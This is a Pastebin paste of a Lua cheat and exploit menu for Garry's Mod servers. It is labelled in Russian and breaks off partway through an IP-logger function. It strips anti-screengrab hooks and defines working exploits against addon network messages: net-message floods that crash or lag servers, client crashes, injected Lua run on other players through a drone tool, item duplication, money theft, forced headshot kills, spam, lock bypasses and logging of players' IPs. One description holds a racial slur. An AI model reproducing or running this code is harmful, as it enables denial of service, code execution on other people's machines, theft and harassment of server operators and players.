BazZziliuS

Untitled

Nov 1st, 2022 (edited)
97
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 45.96 KB | None | 0 0
  1. local version = 'Private'
  2. local net, util, timer, file, ents, concommand, cookie, hook
  3. local gtbl = _Z_ and _Z_ or _G
  4. net, util, timer, file, ents, concommand, cookie, hook = gtbl.net, gtbl.util, gtbl.timer, gtbl.file, gtbl.ents, gtbl.concommand, gtbl.cookie, _G.hook
  5.  
  6. local function netValid( ... )
  7.     local tbl = { ... }
  8.     for i = 1, #tbl do
  9.         local name = string.lower( tbl[ i ] )
  10.         if !net.Receivers[ name ] and util.NetworkStringToID( name ) == 0 then
  11.             return false
  12.         end
  13.     end
  14.    
  15.     return true
  16. end
  17.  
  18. local function concValid( ... )
  19.     local conctbl = concommand.GetTable()
  20.     local tbl = { ... }
  21.  
  22.     for i = 1, #tbl do
  23.         if not conctbl[ tbl[ i ] ] then
  24.             return false
  25.         end
  26.     end
  27.    
  28.     return true
  29. end
  30.  
  31. local function hookValid( ... )
  32.     local hooks = hook.GetTable()
  33.     local args = { ... }
  34.  
  35.     for i = 1, math.max( #args / 2, 1 ) do
  36.         local events = hooks[ args[ i ] ]
  37.  
  38.         if not events or not events[ args[ i * 2 ] ] then
  39.             return false
  40.         end
  41.     end
  42.    
  43.     return true
  44. end
  45.  
  46. local function playsound( soundname )
  47.     sound.PlayFile( soundname, '', function() end )
  48. end
  49.  
  50. surface.CreateFont( '_z_em', {
  51.     font = 'Roboto',
  52.     size = 20,
  53.     extended = true
  54. } )
  55.  
  56. surface.CreateFont( '_z_emm', {
  57.     font = 'Roboto',
  58.     size = 15,
  59.     extended = true
  60. } )
  61.  
  62. //Bypasses
  63.  
  64. timer.Destroy( 'STC' )
  65. hook.Remove( 'PlayerInitialSpawn', 'AddPlayer' )
  66.  
  67. //Anti-Screengrab
  68.  
  69. local function scrgrb()
  70.     if _Z_ and _Z_.screengrab then
  71.         return true
  72.     end
  73.  
  74.     if GTS and GTS[ 'GTS:ScaledNetworkEntry' ][ 'Request' ] then
  75.         return true
  76.     end
  77.    
  78.     if LeyScreenCap and LeyScreenCap.shouldcap then
  79.         return true
  80.     end
  81. end
  82.  
  83. if hookValid( 'PostRender', 'Screengrab' ) then
  84.     hook.Remove( 'PostRender', 'Screengrab' )
  85. end
  86.  
  87. //Vars
  88.  
  89. local scrw, scrh = ScrW() * 0.75, ScrH() * 0.75
  90.  
  91. local exploitinfo = {}
  92. local currenttext = ''
  93. local selectedplys = {}
  94. local selectedall = false
  95.  
  96. local exploitavailable = 0
  97. local exploitcount = 0
  98. local antiexp = {}
  99. local antiexpdetect = false
  100.  
  101. local spotsdraw = !isstring( cookie.GetString( '_z_wallpaper' ) )
  102. local spotstable = {}
  103. for i = 1, 25 do
  104.     spotstable[ i ] = { x = math.Rand( 1, scrw ), y = math.Rand( 1, scrh ), x2 = math.Rand( -2, 2 ), y2 = math.Rand( -2, 2 ) }
  105. end
  106.  
  107. local count = {}
  108. local function getCount( name )
  109.     local countn = ( count[ name ] or 0 ) + 1
  110.     count[ name ] = countn
  111.     return countn
  112. end
  113.  
  114.  
  115. local bgs = {
  116.     { url = 'https://steamuserimages-a.akamaihd.net/ugc/830200028751744708/80F144A830BA23C83F4333118E8E9A5C5BAF77CA/?imw=512&imh=512&ima=fit&impolicy=Letterbox&imcolor=%23000000&letterbox=true',
  117.     w = 512, h = 512,
  118.     color = Color( 0, 0, 0 ) },
  119.    
  120.     { url = 'https://static.cracked.to/uploads/avatars/avatar_77664.gif',
  121.     w = 175, h = 175,
  122.     color = Color( 21, 21, 21 ) }
  123. }
  124. local bg = bgs[ math.random( #bgs ) ]
  125.  
  126. local lply = LocalPlayer()
  127. local whitelist = {
  128.     [ 'STEAM_0:0:227388576' ] = true, --Я
  129.     [ 'STEAM_0:0:149468019' ] = true,
  130.    
  131.     [ 'STEAM_0:1:116008424' ] = true, --Тостер
  132.    
  133.     [ 'STEAM_0:1:555448310' ] = true, --Макс
  134.     [ 'STEAM_0:1:433109673' ] = true,
  135.     [ 'STEAM_0:1:49246984' ] = true,
  136.     [ 'STEAM_0:0:518211648' ] = true,
  137.     [ 'STEAM_0:1:530488193' ] = true,
  138.    
  139.     [ 'STEAM_0:0:211825646' ] = true, --Кто
  140. }
  141.  
  142. local function EyeTrace()
  143.     return GetEyeTrace and GetEyeTrace() or util.TraceLine( {
  144.         start = lply:EyePos(),
  145.         endpos = lply:EyePos() + lply:EyeAngles():Forward() * 10000,
  146.         filter = lply
  147.     } )
  148. end
  149.  
  150. local sounds = {
  151.     'sound/UI/buttonrollover.wav',
  152.     'sound/UI/buttonclick.wav',
  153.     'sound/UI/buttonclickrelease.wav',
  154.     'sound/buttons/button11.wav',
  155. }
  156.  
  157. //AntiExploits
  158.  
  159. if concValid( 'cpe_menu' ) then
  160.     table.insert( antiexp, 'CPE' )
  161.     antiexpdetect = true
  162. end
  163.  
  164. if SwiftAC then
  165.     table.insert( antiexp, 'SwiftAC' )
  166.     antiexpdetect = true
  167. end
  168.  
  169. if concValid( 'nbp_config' ) then
  170.     table.insert( antiexp, 'NBP' )
  171.     antiexpdetect = true
  172. end
  173.  
  174. if gAC then
  175.     table.insert( antiexp, 'GAC' )
  176.     antiexpdetect = true
  177. end
  178.  
  179. //Exploits
  180.  
  181. local exploits = {
  182.     { name = 'Краш сервера #' .. getCount(  'crashserver' ), desc = 'Перед включением поставьте рэгдолл', check = function()
  183.         return netValid( 'properties' )
  184.     end, func = function()
  185.         local ragdolls = ents.FindByClass( 'prop_ragdoll' )
  186.        
  187.         for i = 1, #ragdolls do
  188.             local ragdoll = ragdolls[ i ]
  189.            
  190.             if ragdoll:IsRagdoll() and gamemode.Call( 'CanProperty', lply, 'motioncontrol_ragdoll', ragdoll ) then
  191.                 for _ = 1, 1000 do
  192.                     net.Start( 'properties' )
  193.                     net.WriteString( 'motioncontrol_ragdoll' )
  194.                     net.WriteEntity( ragdoll )
  195.                     net.SendToServer()
  196.                 end
  197.                 break
  198.             end
  199.         end
  200.     end, rare = 4, status = 'Detect' },
  201.  
  202.     { name = 'Лаги #' .. getCount( 'lags' ), desc = 'Залагивание сервера с помощью GM-Donate', check = function()
  203.         return netValid( 'TL.sayColor' )
  204.     end, func = function()
  205.         for _ = 1, 10000 do
  206.             net.Start( 'TL.sayColor', true )
  207.             net.SendToServer()
  208.         end
  209.     end, t = .01, tn = 'tl.saycolorlags', rare = 3, status = 'Detect' },
  210.  
  211.     { name = 'Лаги #' .. getCount( 'lags' ), desc = 'Залагивание сервера', check = function()
  212.         return netValid( 'StackGhost' )
  213.     end, func = function()
  214.         for _ = 1, 10000 do
  215.             net.Start( 'StackGhost', true )
  216.             net.SendToServer()
  217.         end
  218.     end, t = .01, tn = 'stackghostlags', rare = 3, status = 'Outdated' },
  219.  
  220.     { name = 'Лаги #' .. getCount( 'lags' ), desc = 'Вам нужно держать в руках оружие из CW 2.0', check = function()
  221.         return netValid( 'CW20_PRESET_LOAD' )
  222.     end, func = function()
  223.         for _ = 1, 10000 do
  224.             net.Start( 'CW20_PRESET_LOAD', true )
  225.             net.SendToServer()
  226.         end
  227.     end, t = .01, tn = 'cw20lags', rare = 2, status = 'Detect' },
  228.  
  229.     { name = 'Лаги #' .. getCount( 'lags' ), desc = 'Залагивание сервера с помощью скринграба', check = function()
  230.         return concValid( 'screengrab' )
  231.     end, func = function()
  232.         for _ = 1, 10000 do
  233.             net.Start( 'rtxappend2', true )
  234.             net.WriteTable( { 'lol' } )
  235.             net.SendToServer()
  236.         end
  237.     end, t = .01, tn = 'rtxappend2lag', rare = 1, status = 'Detect' },
  238.  
  239.     { name = 'Лаги #' .. getCount( 'lags' ), desc = 'Залагивание сервера с помощью взломщика дронов', check = function()
  240.         return netValid( 'drones_usecmd' )
  241.     end, func = function()
  242.         local ents = ents.FindByClass( 'hacktool_drone' )
  243.         local plys = player.GetHumans()
  244.         for i = 1, #ents do
  245.             local ent = ents[ i ]
  246.             for _ = 1, 100 do
  247.                 net.Start( 'drones_usecmd' )
  248.                 net.WriteEntity( ent )
  249.                 net.WriteEntity( plys[ math.random( #plys ) ] )
  250.                 net.WriteString( 'help' )
  251.                 net.SendToServer()
  252.             end
  253.         end
  254.     end, t = .01, tn = 'dronelags', rare = 1, status = 'Detect' },
  255.  
  256.     { name = 'Лаги #' .. getCount( 'lags' ), desc = 'Залагивание сервера с помощью поинтшопа', check = function()
  257.         return netValid( 'ItemStoreUse' )
  258.     end, func = function()
  259.         for _ = 1, 10000 do
  260.             net.Start( 'ItemStoreUse', true )
  261.             net.SendToServer()
  262.         end
  263.     end, t = .01, tn = 'lagsitemstore', rare = 1, status = 'Detect' },
  264.  
  265.     { name = 'Лаги #' .. getCount( 'lags' ), desc = 'Залагивание сервера', check = function()
  266.         return netValid( 'Morpheus.StaffTracker' )
  267.     end, func = function()
  268.         for _ = 1, 10000 do
  269.             net.Start( 'Morpheus.StaffTracker', true )
  270.             net.SendToServer()
  271.         end
  272.     end, t = .01, tn = 'lagsmorph', rare = 1, status = 'Outdated' },
  273.  
  274.     { name = 'Лаги #' .. getCount( 'lags' ), desc = 'Залагивание сервера с помощью поинтшопа', check = function()
  275.         return netValid( 'SlotsRemoved' )
  276.     end, func = function()
  277.         for _ = 1, 10000 do
  278.             net.Start( 'SlotsRemoved', true )
  279.             net.SendToServer()
  280.         end
  281.     end, t = .01, tn = 'pslotslags', rare = 1, status = 'Detect' },
  282.  
  283.     { name = 'Лаги #' .. getCount( 'lags' ), desc = 'Залагивание сервера с помощью информации о подключениях', check = function()
  284.         return netValid( 'join_disconnect' )
  285.     end, func = function()
  286.         for _ = 1, 10000 do
  287.             net.Start( 'join_disconnect', true )
  288.             net.SendToServer()
  289.         end
  290.     end, t = .01, tn = 'joindisclags', rare = 1, status = 'Detect' },
  291.  
  292.     { name = 'Лаги #' .. getCount( 'lags' ), desc = 'Кикнуть всех игроков с помощью RDM-менеджера', check = function()
  293.         return netValid( 'DL_Answering' )
  294.     end, func = function()
  295.         for _ = 1, 10000 do
  296.             net.Start( 'DL_Answering', true )
  297.             net.SendToServer()
  298.         end
  299.     end, t = .01, tn = 'dlanswlags', rare = 1, status = 'Detect' },
  300.  
  301.     { name = 'Лаги #' .. getCount( 'lags' ), desc = 'Залагивание сервера с помощью ESM', check = function()
  302.         return netValid( 'ESM_WelcomePointsModule_PlayerReady' )
  303.     end, func = function()
  304.         for _ = 1, 10000 do
  305.             net.Start( 'ESM_WelcomePointsModule_PlayerReady', true )
  306.             net.SendToServer()
  307.         end
  308.     end, t = .01, tn = 'esmlags', rare = 2, status = 'Undetected' },
  309.  
  310.     { name = 'Лаги #' .. getCount( 'lags' ), desc = 'Залагивание сервера с помощью NadMod', check = function()
  311.         return netValid( 'nadmod_ppfriends' )
  312.     end, func = function()
  313.         for _ = 1, 10000 do
  314.             net.Start( 'nadmod_ppfriends', true )
  315.             net.SendToServer()
  316.         end
  317.     end, t = .01, tn = 'nadmodlags', rare = 1, status = 'Undetected' },
  318.  
  319.     { name = 'Лаги #' .. getCount( 'lags' ), desc = 'Залагивание сервера с помощью ULX', check = function()
  320.         return netValid( 'ulxcc_RequestFiles' )
  321.     end, func = function()
  322.         for _ = 1, 10000 do
  323.             net.Start( 'ulxcc_RequestFiles', true )
  324.             net.SendToServer()
  325.         end
  326.     end, t = .01, tn = 'ulxccfileslags', rare = 1, status = 'Undetected' },
  327.  
  328.     { name = 'Лаги #' .. getCount( 'lags' ), desc = 'Залагивание сервера с помощью OutFitter', check = function()
  329.         return outfitter
  330.     end, func = function()
  331.         for _ = 1, 5000 do
  332.             net.Start( 'BodyGroupData', true )
  333.             net.SendToServer()
  334.             net.Start( 'NetData', true )
  335.             net.SendToServer()
  336.         end
  337.     end, t = .01, tn = 'outfitterlags', rare = 1, status = 'Detect' },
  338.  
  339.     { name = 'Лаги клиента #' .. getCount( 'lagsclient' ), desc = 'Залагивание выбранных игроков с помощью чата', check = function()
  340.         return atlaschat
  341.     end, func = function()
  342.         if table.Count( selectedplys ) == 0 then
  343.             return
  344.         end
  345.        
  346.         local _, ply = table.Random( selectedplys )
  347.        
  348.         for _ = 1, 1000 do
  349.             net.Start( 'atlaschat.invpm', true )
  350.             net.WriteUInt( 0, 8 )
  351.             net.WriteString( ply:SteamID() )
  352.             net.SendToServer()
  353.         end
  354.     end, t = .01, tn = 'atlasinvitelagsclient', rare = 1, status = 'Undetected' },
  355.  
  356.     { name = 'Краш клиента #' .. getCount( 'crashclient' ), desc = 'Крашнуть выбранных игроков с помощью взломщика дронов', check = function()
  357.         return netValid( 'drones_usecmd' )
  358.     end, func = function()
  359.         local ent = ents.FindByClass( 'hacktool_drone' )[ 1 ]
  360.         if !ent:IsValid() then
  361.             return
  362.         end
  363.        
  364.         net.Start( 'drones_usecmd' )
  365.         net.WriteEntity( ent )
  366.         net.WriteEntity( lply )
  367.         net.WriteString( '\')table.Empty(debug.getregistry())--' )
  368.         net.SendToServer()
  369.     end, rare = 2, status = 'Detect' },
  370.  
  371.     { name = 'Взлом игроков', desc = 'Запуск луа на выбранных игроках с помощью взломщика дронов', check = function()
  372.         return netValid( 'drones_usecmd' )
  373.     end, func = function()
  374.         local ent = ents.FindByClass( 'hacktool_drone' )[ 1 ]
  375.         if !ent:IsValid() then
  376.             return
  377.         end
  378.        
  379.         net.Start( 'drones_usecmd' )
  380.         net.WriteEntity( ent )
  381.         net.WriteEntity( lply )
  382.         net.WriteString( '\')' .. currenttext .. '--' )
  383.         net.SendToServer()
  384.        
  385.         for ply in pairs( selectedplys ) do
  386.             net.Start( 'drones_usecmd' )
  387.             net.WriteEntity( ent )
  388.             net.WriteEntity( ply )
  389.             net.WriteString( 'consolelog' )
  390.             net.SendToServer()
  391.         end
  392.        
  393.         net.Start( 'drones_usecmd' )
  394.         net.WriteEntity( ent )
  395.         net.WriteEntity( lply )
  396.         net.WriteString( 'clear' )
  397.         net.SendToServer()
  398.     end, rare = 2, status = 'Detect' },
  399.  
  400.     { name = 'Многострочный флуд в чат', desc = 'Пишет в чат ваш текст в 3 строки', check = function()
  401.         return true
  402.     end, func = function()
  403.         lply:ConCommand( 'say ' .. currenttext .. string.rep( '\t', 64 ) )
  404.     end, t = .01, tn = 'chatfloodbig', rare = 0, status = 'Undetected' },
  405.  
  406.     { name = 'Флуд в ЛС', desc = 'Флудит всем выбранным игрокам в лс', check = function()
  407.         return ulx and ulx.psay
  408.     end, func = function()
  409.         for ply in pairs( selectedplys ) do
  410.             lply:ConCommand( 'ulx psay $' .. ply:UserID() .. ' \"' .. currenttext .. '\"' )
  411.         end
  412.     end, t = .01, tn = 'ulxflood', rare = 0, status = 'Undetected' },
  413.  
  414.     { name = 'Получить пасхальное яйцо', desc = 'Ничего не даёт кроме пометки в чате', check = function()
  415.         return ConVarExists( 'eastereggs_enable' )
  416.     end, func = function()
  417.         lply:ConCommand( 'say 4bigz;cc_egg2' )
  418.         net.Start( 'egg' )
  419.         net.SendToServer()
  420.     end, rare = 1, status = 'Undetected' },
  421.  
  422.     { name = 'Взлом иконок', desc = 'Каждую десятую секунды меняет иконку над вами на любую', check = function()
  423.         return netValid( 'PlyStatusIcons_StatusUpdate' )
  424.     end, func = function()
  425.         net.Start( 'PlyStatusIcons_StatusUpdate' )
  426.         net.WriteUInt( math.random( 1, 7 ), 7 )
  427.         net.SendToServer()
  428.     end, t = .1, tn = 'iconhack', rare = 2, status = 'Undetected' },
  429.  
  430.     { name = 'Запустить луа', desc = 'Запустить луа на себе', check = function()
  431.         return true
  432.     end, func = function()
  433.         RunString( currenttext )
  434.     end, rare = 0, status = 'Undetected' },
  435.  
  436.     { name = 'Кликер #' .. getCount( 'clicker' ), desc = 'Быстро взломать наручники, быстро спавнить что-либо', check = function()
  437.         return true
  438.     end, act = function()
  439.         hook.Add( 'CreateMove', '_z_em_clicker', function( usercmd )
  440.             if usercmd:TickCount() % 2 == 0 then
  441.                 usercmd:SetButtons( bit.bor( usercmd:GetButtons(), IN_ATTACK ) )
  442.             else
  443.                 usercmd:SetButtons( bit.bor( usercmd:GetButtons(), IN_ATTACK2 ) )
  444.             end
  445.         end )
  446.     end, deact = function()
  447.         hook.Remove( 'CreateMove', '_z_em_clicker' )
  448.     end, t = 0, tn = 'clicker', rare = 0, status = 'Undetected' },
  449.  
  450.     { name = 'Кликер #' .. getCount( 'clicker' ), desc = 'Флудить дверью или т.п.', check = function()
  451.         return true
  452.     end, act = function()
  453.         hook.Add( 'CreateMove', '_z_em_clickeruse', function( usercmd )
  454.             if usercmd:TickCount() % 2 == 0 then
  455.                 usercmd:SetButtons( bit.bor( usercmd:GetButtons(), IN_USE ) )
  456.             end
  457.         end )
  458.     end, deact = function()
  459.         hook.Remove( 'CreateMove', '_z_em_clickeruse' )
  460.     end, t = 0, tn = 'clickeruse', rare = 0, status = 'Undetected' },
  461.    
  462.     { name = 'Получить халяву #' .. getCount( 'free' ), desc = 'Получить халяву с викторин (нужно ждать некоторое время, скрипт сам будет проходить викторины)', check = function()
  463.         return netValid( 'quizhuiz' )
  464.     end, act = function()
  465.         net.Receive( 'quizhuiz', function()
  466.             net.ReadFloat()
  467.             net.ReadColor()
  468.             net.ReadString()
  469.             net.ReadColor()
  470.             net.ReadString()
  471.             net.ReadString()
  472.             net.ReadColor()
  473.            
  474.             lply:ConCommand( 'say ' .. net.ReadFloat() + net.ReadFloat() )
  475.         end )
  476.     end, deact = function()
  477.         net.Receivers.quizhuiz = exploitinfo.quizhuiz
  478.     end, t = 0, tn = 'quizhuizfree', rare = 2, status = 'Undetected', tags = {
  479.         quizhuiz = net.Receivers[ 'quizhuiz' ]
  480.     } },
  481.    
  482.     { name = 'Получить халяву #' .. getCount( 'free' ), desc = 'Получить халяву с авто-сбора денег с принтера (работает только на дистанции меньше 100)', check = function()
  483.         return netValid( 'GambitPrinter.Withdraw' )
  484.     end, func = function()
  485.         exploitinfo.fprinterindex = exploitinfo.fprinterindex + 1
  486.        
  487.         local ents = ents.FindByClass( 'f_printer' )
  488.         local count = #ents
  489.        
  490.         if exploitinfo.fprinterindex > count then
  491.             exploitinfo.fprinterindex = 1
  492.         end
  493.        
  494.         local ent = ents[ exploitinfo.fprinterindex ]
  495.        
  496.         if ent and ent:IsValid() and ent:GetPos():Distance( lply:GetPos() ) < 300 and ( !ent.GetMoney or ent:GetMoney() > 0 ) then
  497.             net.Start( 'GambitPrinter.Withdraw' )
  498.             net.WriteEntity( ent )
  499.             net.SendToServer()
  500.         end
  501.     end, t = .1, tn = 'fprinterhack', rare = 1, status = 'Undetected', tags = {
  502.         fprinterindex = 0
  503.     } },
  504.    
  505.     { name = 'Получить халяву #' .. getCount( 'free' ), desc = 'Получить халяву с авто-сбора денег с принтера (работает только на дистанции меньше 100)', check = function()
  506.         return netValid( 'GPrinter.Withdraw' )
  507.     end, func = function()
  508.         exploitinfo.gprinterindex = exploitinfo.gprinterindex + 1
  509.        
  510.         local ents = ents.FindByClass( 'g-printer' )
  511.         local count = #ents
  512.        
  513.         if exploitinfo.gprinterindex > count then
  514.             exploitinfo.gprinterindex = 1
  515.         end
  516.        
  517.         local ent = ents[ exploitinfo.gprinterindex ]
  518.  
  519.         if ent and ent:IsValid() and ent:GetPos():Distance( lply:GetPos() ) < 100 and ( !ent.GetMoney or ent:GetMoney() > 0 ) then
  520.             net.Start( 'GPrinter.Withdraw' )
  521.             net.WriteEntity( ent )
  522.             net.SendToServer()
  523.         end
  524.     end, t = .1, tn = 'gprinterhack', rare = 1, status = 'Undetected', tags = {
  525.         gprinterindex = 0
  526.     } },
  527.    
  528.     { name = 'Получить халяву #' .. getCount( 'free' ), desc = 'Получить халяву с авто-сбора денег с принтера', check = function()
  529.         return netValid( 'ActiveP' )
  530.     end, func = function()
  531.         local ents = ents.FindByClass( 'derma_printer' )
  532.         local pos = lply:GetPos()
  533.        
  534.         for i = 1, #ents do
  535.             local ent = ents[ i ]
  536.             if ent:GetPos():Distance( pos ) < 100 and ent:GetMoney() > 0 then
  537.                 net.Start( 'withdrawp' )
  538.                 net.WriteEntity( ent )
  539.                 net.SendToServer()
  540.             end
  541.         end
  542.     end, t = .1, tn = 'dermaprinterhack', rare = 1, status = 'Use at own risk' },
  543.    
  544.     { name = 'Получить халяву #' .. getCount( 'free' ), desc = 'Получить халявные 50 кредитов', check = function()
  545.         return netValid( 'gambitmode' )
  546.     end, func = function()
  547.         net.Start( 'gambitmode' )
  548.         net.SendToServer()
  549.     end, rare = 4, status = 'Undetected' },
  550.    
  551.     { name = 'Получить халяву #' .. getCount( 'free' ), desc = 'Получить халяву с авто-сбора денег с кликера (нужно навести прицел, работает только на короткой дистанции)', check = function()
  552.         return netValid( 'money_clicker_withdraw' )
  553.     end, func = function()
  554.         local ent = EyeTrace().Entity
  555.  
  556.         if ent:IsValid() and ent:GetClass() == 'money_clicker' and ent:GetPos():Distance( lply:GetPos() ) < 150 and ent:GetMoney() > 0 then
  557.             net.Start( 'money_clicker_withdraw' )
  558.             net.WriteEntity( ent )
  559.             net.SendToServer()
  560.         end
  561.     end, t = .1, tn = 'moneyclickerwithdraw', rare = 1, status = 'Undetected' },
  562.    
  563.     { name = 'Получить халяву #' .. getCount( 'free' ), desc = 'Получить халяву с авто-сбора денег с кликера (нужно навести прицел, работает только на короткой дистанции)', check = function()
  564.         return netValid( 'money_clicker_withdraw' )
  565.     end, func = function()
  566.         local ent = EyeTrace().Entity
  567.  
  568.         if ent:IsValid() and ent:GetClass() == 'money_clicker' and ent:GetPos():Distance( lply:GetPos() ) < 150 and ent:GetMoney() > 0 then
  569.             net.Start( 'money_clicker_withdraw' )
  570.             net.WriteEntity( ent )
  571.             net.SendToServer()
  572.         end
  573.     end, t = .1, tn = 'moneyclickerwithdraw', rare = 1, status = 'Undetected' },
  574.    
  575.     { name = 'Дюп #' .. getCount( 'dupe' ), desc = 'Дюпнуть предмет под выбранным индексом (нужно вписать в поле снизу)', check = function()
  576.         return itemstore and netValid( 'ItemStoreSplit' )
  577.     end, func = function()
  578.         local pos = tonumber( currenttext )
  579.         if pos and pos > 0 then
  580.             net.Start( 'ItemStoreSplit' )
  581.             net.WriteUInt( lply.InventoryID, 32 )
  582.             net.WriteUInt( pos, 32 )
  583.             net.WriteUInt( 0, 32 )
  584.             net.SendToServer()
  585.         end
  586.     end, rare = 2, status = 'Outdated' },
  587.    
  588.     { name = 'Дюп #' .. getCount( 'dupe' ), desc = 'Дюпнуть предмет под выбранным индексом (нужно вписать в поле снизу)', check = function()
  589.         return itemstore and netValid( '_ItemStoreSplit' )
  590.     end, func = function()
  591.         local pos = tonumber( currenttext )
  592.         if pos and pos > 0 then
  593.             net.Start( '_ItemStoreSplit' )
  594.             net.WriteUInt( lply.InventoryID, 32 )
  595.             net.WriteUInt( pos, 32 )
  596.             net.WriteUInt( 0, 32 )
  597.             net.SendToServer()
  598.         end
  599.     end, rare = 2, status = 'Outdated' },
  600.    
  601.     { name = 'Автообслуживание принтеров', desc = 'При 75 и более градусов близжайшим принтерам будет закуплено охлаждение', check = function()
  602.         return netValid( 'GambitPrinter.Cool' )
  603.     end, func = function()
  604.         exploitinfo.fprintercoolindex = exploitinfo.fprintercoolindex + 1
  605.        
  606.         local ents = ents.FindByClass( 'f_printer' )
  607.         local count = #ents
  608.        
  609.         if exploitinfo.fprintercoolindex > count then
  610.             exploitinfo.fprintercoolindex = 1
  611.         end
  612.        
  613.         local ent = ents[ exploitinfo.fprintercoolindex ]
  614.         if ent and ent:IsValid() and ent:GetPos():Distance( lply:GetPos() ) < 500 and ent.GetHeat and ent:GetHeat() > 74 then
  615.             net.Start( 'GambitPrinter.Cool' )
  616.             net.WriteEntity( ent )
  617.             net.SendToServer()
  618.         end
  619.     end, t = .1, tn = 'fprintercool', rare = 1, status = 'Undetected', tags = {
  620.         fprintercoolindex = 0
  621.     } },
  622.  
  623.     { name = 'Убить людей', desc = 'Выберите игроков, включите и человек будет погибать (перед активацией нужно попасть в игрока, повторять не нужно)', check = function()
  624.         return LeyHitreg
  625.     end, act = function()
  626.         local global = table.Copy( _G )
  627.         global.net = {
  628.             Start = function( name )
  629.                 if !exploitinfo.leyhitregnet then
  630.                     exploitinfo.leyhitregnet = name
  631.                     LeyHitreg.EntityFireBullets = function() end
  632.                 end
  633.             end,
  634.            
  635.             WriteUInt = function() end,
  636.             WriteBool = function() end,
  637.             WriteEntity = function() end,
  638.             WriteVector = function() end,
  639.             SendToServer = function() end
  640.         }
  641.        
  642.         debug.setfenv( LeyHitreg.EntityFireBullets, global )
  643.     end, func = function()     
  644.         local netname = exploitinfo.leyhitregnet
  645.        
  646.         if !netname or table.Count( selectedplys ) == 0 then
  647.             return
  648.         end
  649.        
  650.         local _, ply = table.Random( selectedplys )
  651.        
  652.         if !ply or !ply:IsValid() or !ply:Alive() or ply:HasGodMode() then
  653.             return
  654.         end
  655.        
  656.         local bone = ply:LookupBone( 'ValveBiped.Bip01_Head1' )
  657.         if !bone then
  658.             return
  659.         end
  660.        
  661.         local pos = ply:GetBonePosition( bone )
  662.         if !pos then
  663.             return
  664.         end
  665.        
  666.         net.Start( netname )
  667.         net.WriteUInt( 1, 8 )
  668.         net.WriteBool( true )
  669.         net.WriteEntity( lply:GetActiveWeapon() )
  670.         net.WriteEntity( ply )
  671.         net.WriteVector( pos )
  672.         net.WriteVector( Vector( 0, 0, 0 ) )
  673.         net.WriteVector( pos )
  674.         net.WriteUInt( HITGROUP_HEAD, 8 )
  675.         net.SendToServer()
  676.        
  677.         lply:ConCommand( '+attack' )
  678.         timer.Simple( 0, function()
  679.             lply:ConCommand( '-attack' )
  680.         end )
  681.     end, deact = function()
  682.         if LeyHitreg then
  683.             debug.setfenv( LeyHitreg.EntityFireBullets, _G )
  684.             LeyHitreg.EntityFireBullets = exploitinfo.leyhitreg
  685.         end
  686.     end, t = .1, tn = 'leyhitregkill', rare = 3, status = 'Undetected', tags = {
  687.         leyhitreg = LeyHitreg and LeyHitreg.EntityFireBullets or nil
  688.     } },
  689.  
  690.     { name = 'Взломать наручники', desc = 'Мгновенно взломать наручники', check = function()
  691.         return netValid( 'Kun_ZiptieStruggle' )
  692.     end, func = function()
  693.         net.Start( 'Kun_ZiptieStruggle' )
  694.         net.SendToServer()
  695.     end, rare = 2, status = 'Outdated' },
  696.  
  697.     { name = 'Покрасить игроков', desc = 'Сделать игроков транс-ниггами', check = function()
  698.         return JMod_Hints
  699.     end, func = function()
  700.         exploitinfo.jmodcolor = !exploitinfo.jmodcolor
  701.         local col = exploitinfo.jmodcolor and Color( 255, 255, 255 ) or Color( 0, 0, 0 )
  702.        
  703.         for ply in pairs( selectedplys ) do
  704.             net.Start( 'JMod_MineColor' )
  705.             net.WriteEntity( ply )
  706.             net.WriteColor( col )
  707.             net.WriteBit( true )
  708.             net.SendToServer()
  709.         end
  710.     end, t = .1, tn = 'jmodcolor', rare = 1, status = 'Undetected', tags = {
  711.         jmodcolor = true
  712.     } },
  713.    
  714.     { name = 'Взломать UniSec кейпад', desc = 'Нужно на него смотреть и запустить функцию', check = function()
  715.         return usec
  716.     end, func = function()
  717.         local ent = EyeTrace().Entity
  718.  
  719.         if ent:IsValid() and ent:GetClass() == 'uni_keypad' then
  720.             net.Start( 'usec_paid_door' )
  721.             net.WriteEntity( ent )
  722.             net.WriteBool( true )
  723.             net.SendToServer()
  724.         end
  725.     end, rare = 2, status = 'Detect' },
  726.  
  727.     { name = 'BunnyHop', desc = 'Авто-распрыжка', check = function()
  728.         return true
  729.     end, act = function()
  730.         hook.Add( 'CreateMove', '_z_em_bunnyhop', function( usercmd )
  731.             if lply:WaterLevel() < 2 and lply:GetMoveType() == MOVETYPE_WALK then
  732.                 lply:ConCommand( !vgui.CursorVisible() and input.IsKeyDown( KEY_SPACE ) and lply:OnGround() and '+jump' or '-jump' )
  733.             end
  734.         end )
  735.     end, deact = function()
  736.         hook.Remove( 'CreateMove', '_z_em_bunnyhop' )
  737.     end, t = 0, tn = 'bunnyhop', rare = 0, status = 'Detect' },
  738.  
  739.     { name = 'AutoStrafe', desc = 'Ускорение BunnyHop\'а', check = function()
  740.         return true
  741.     end, act = function()
  742.         hook.Add( 'CreateMove', '_z_em_autostrafe', function( usercmd )
  743.             if lply:WaterLevel() < 2 and lply:GetMoveType() == MOVETYPE_WALK and !lply:OnGround() then
  744.                 local x = usercmd:GetMouseX()
  745.                 if x > 0 then
  746.                     usercmd:SetSideMove( 10000 )
  747.                 elseif x < 0 then
  748.                     usercmd:SetSideMove( -10000 )
  749.                 end
  750.             end
  751.         end )
  752.     end, deact = function()
  753.         hook.Remove( 'CreateMove', '_z_em_autostrafe' )
  754.     end, t = 0, tn = 'autostrafe', rare = 0, status = 'Detect' },
  755.  
  756.     { name = 'FastWalk', desc = 'Добавляет 10% к скорости при беге вперёд/назад', check = function()
  757.         return true
  758.     end, act = function()
  759.         hook.Add( 'CreateMove', '_z_em_fastwalk', function( usercmd )
  760.             if lply:GetMoveType() == MOVETYPE_WALK and usercmd:GetForwardMove() ~= 0 then
  761.                 if usercmd:TickCount() % 2 == 0 then
  762.                     usercmd:SetSideMove( usercmd:GetSideMove() + 5000 )
  763.                 else
  764.                     usercmd:SetSideMove( usercmd:GetSideMove() - 5000 )
  765.                 end
  766.             end
  767.         end )
  768.     end, deact = function()
  769.         hook.Remove( 'CreateMove', '_z_em_fastwalk' )
  770.     end, t = 0, tn = 'fastwalk', rare = 0, status = 'Undetected' },
  771.    
  772.     { name = 'IP логгер', desc = 'Записывать айпи заходящих игроков в data/_z_ip.txt', check = function()
  773.         return rlib
  774.     end, act = function()
  775.         net.Receivers[ 'rlib.debug.listener' ] = function()
